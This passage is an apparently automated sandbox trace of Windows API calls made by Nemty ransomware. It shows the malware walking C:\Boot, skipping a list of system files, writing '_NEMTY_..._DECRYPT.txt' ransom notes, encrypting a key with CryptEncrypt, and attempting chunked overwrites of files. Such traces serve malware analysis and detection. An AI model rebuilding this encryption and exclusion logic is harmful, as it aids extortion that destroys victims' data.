hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.637] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce385e70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce385e70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce385e70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0044.637] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0044.637] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2=".") returned 1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2="..") returned 1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2="...") returned 1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2="windows") returned -1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2="$RECYCLE.BIN") returned 1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2="rsa") returned -1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2="NTDETECT.COM") returned -1 [0044.637] lstrcmpiW (lpString1="hu-HU", lpString2="ntldr") returned -1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="MSDOS.SYS") returned -1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="IO.SYS") returned -1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="boot.ini") returned 1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="boot.ini") returned 1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="AUTOEXEC.BAT") returned 1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="ntuser.dat") returned -1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="desktop.ini") returned 1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="CONFIG.SYS") returned 1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="RECYCLER") returned -1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="BOOTSECT.BAK") returned 1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="bootmgr") returned 1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="programdata") returned -1 [0044.638] lstrcmpiW (lpString1="hu-HU", lpString2="appdata") returned 1 [0044.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu-HU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu-HU", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hu-HU", lpUsedDefaultChar=0x0) returned 5 [0044.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu-HU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0044.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu-HU", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hu-HU", lpUsedDefaultChar=0x0) returned 5 [0044.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0044.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9eda8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.638] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\hu-hu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.639] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.639] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0044.640] CloseHandle (hObject=0x3c0) returned 1 [0044.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0044.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0044.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0044.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0044.641] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\hu-hu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0044.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.641] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0044.641] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0044.642] CloseHandle (hObject=0x3c0) returned 1 [0044.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0044.643] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce4dcad0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce4dcad0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0044.643] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0044.643] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce4dcad0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce4dcad0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.643] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0044.643] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0044.643] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0044.643] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0044.644] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0044.644] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0044.644] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0044.644] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0044.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0044.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0044.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.644] Sleep (dwMilliseconds=0x5) [0044.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce502c30, dwHighDateTime=0x1d561e7)) [0044.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce502c30, dwHighDateTime=0x1d561e7)) [0044.645] GetLastError () returned 0xb7 [0044.645] SetLastError (dwErrCode=0xb7) [0044.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.645] GetLastError () returned 0xb7 [0044.645] SetLastError (dwErrCode=0xb7) [0044.645] GetLastError () returned 0xb7 [0044.645] SetLastError (dwErrCode=0xb7) [0044.645] GetLastError () returned 0xb7 [0044.645] SetLastError (dwErrCode=0xb7) [0044.645] GetLastError () returned 0xb7 [0044.645] SetLastError (dwErrCode=0xb7) [0044.645] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.646] SetLastError (dwErrCode=0xb7) [0044.646] GetLastError () returned 0xb7 [0044.647] SetLastError (dwErrCode=0xb7) [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0044.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0044.647] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0044.647] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0044.647] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="hL2aNHSqwI4vUJPritQip6Rs9C1UnNArCp9KUI7wG6a7dkXRR/6p/mmhy4H9lbjH\r\nskcLzyTorDBzZLZnesofiGQ22kOGZ3NrpWv5nL8tcouGDFzo6bY7Bsy97AptdI+O\r\nRhJRMwBIJ+y58YIWrhP9XBycmmtXwIK1Tf93e+8liyxFr0t/ZgXikrbYbp+XbB2a\r\nbcwjX47C50xKkdcPKzvymShsv7DjE0AKSVzcldgdcgoEzSG8XRnexI0Mz3vKLzuf\r\nJid7AXBOg3usnRg4BmagL5gZyIPuQF5oJh9CFHj9elPKn2hIFGsXKG0wDCcOoXeP\r\nNyPFHCHG6RUy8OpSf4ezhA==\r\n", pcchString=0x653f2dc) returned 1 [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0044.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0044.647] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.647] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0044.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0044.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.647] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.657] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.657] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.657] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.667] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.687] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.687] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.687] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.697] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.697] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.697] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, 